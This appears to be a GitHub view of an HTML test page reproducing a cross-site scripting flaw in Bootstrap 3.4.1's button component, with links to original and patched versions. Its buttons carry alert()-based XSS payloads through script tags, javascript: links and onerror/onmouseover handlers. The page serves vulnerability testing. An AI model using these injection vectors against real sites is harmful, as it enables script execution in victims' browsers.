-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
157 lines (141 loc) · 4.15 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
<!DOCTYPE html>
<html lang="en">
<head>
<title>Home</title>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width" />
<link
rel="stylesheet"
href="https://cdn.staticfile.net/twitter-bootstrap/3.4.1/css/bootstrap.min.css"
/>
<script src="https://cdn.staticfile.net/jquery/2.1.1/jquery.min.js"></script>
<!-- <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.5/purify.min.js"></script> -->
<script src="bootstrap-orig.js"></script>
<!--
Need a visual blank slate?
Remove all code in `styles.css`!
-->
<link rel="stylesheet" href="styles.css" />
<script type="module" src="script.js"></script>
</head>
<body>
<nav>
<a href="index.html">Original</a>
<a href="fixed.html">Patched</a>
</nav>
<main>
<h1>Boostrap 3.4.1 XSS Button Component Reproduction</h1>
<h2>XSS Attempts</h2>
<p>
<button
class="btn btn-xss btn-primary"
data-loading-text="<script>alert('XSS Success')</script>"
type="button"
>
Load XSS Alert
</button>
</p>
<p>
<button
class="btn btn-primary complete-test"
data-loading-text="Wait for completion..."
data-complete-text="<script>alert('XSS Success')</script>"
type="button"
>
Load XSS Alert - complete text
</button>
</p>
<p>
<button
class="btn btn-xss btn-primary"
data-loading-text="Loading..."
data-reset-text="<script>alert('XSS Success')</script>"
type="button"
>
Load XSS with Reset Text
</button>
</p>
<p>
<button
class="btn btn-xss btn-primary"
data-loading-text='<<script>alert("XSS");//<</script>'
type="button"
>
Load XSS malformed tag
</button>
</p>
<p>
<!-- prettier-ignore -->
<button
class="btn btn-xss btn-primary"
data-loading-text='<a href="javascript:alert('XSS')" color="red">Click me</a>'
type="button"
>
Load XSS href attribute
</button>
</p>
<p>
<button
type="button"
class="btn btn-primary btn-xss"
data-loading-text="<img src='x' onerror='alert("XSS")'>"
>
Loading with XSS image (onError)
</button>
</p>
<p>
<button
type="button"
class="btn btn-primary btn-xss"
data-loading-text="<div onmouseover='alert("XSS")'>Hover over me</div>"
>
Loading with XSS onmouseover
</button>
</p>
<p>
<button
class="btn btn-primary string-test"
data-herodevs-text="<script>alert('XSS Success')</script>"
type="button"
>
Button(string) XSS method
</button>
</p>
<p>
<label for="firstName">Your name</label>
<input
id="firstName"
type="text"
value="<script>alert('XSS Input Success')</script>"
/>
<button
class="btn btn-primary input-test"
data-loading-text="loading text here"
type="button"
>
Input XSS
</button>
</p>
<hr />
<h2>Valid HTML</h2>
<p>
<button
type="button"
class="btn btn-primary btn-xss"
data-loading-text="<img height='30' src='https://cdnjs.cloudflare.com/ajax/libs/galleriffic/2.0.1/css/loader.gif' alt='Loading...' /> <strong>Loading...</strong>"
data-complete-text="We're done here"
>
Loading with valid image
</button>
</p>
<p>
<button
class="btn btn-primary btn-xss"
data-loading-text="<span class='glyphicon glyphicon-refresh'></span> Loading..."
>
Loading with valid icon
</button>
</p>
</main>
</body>
</html>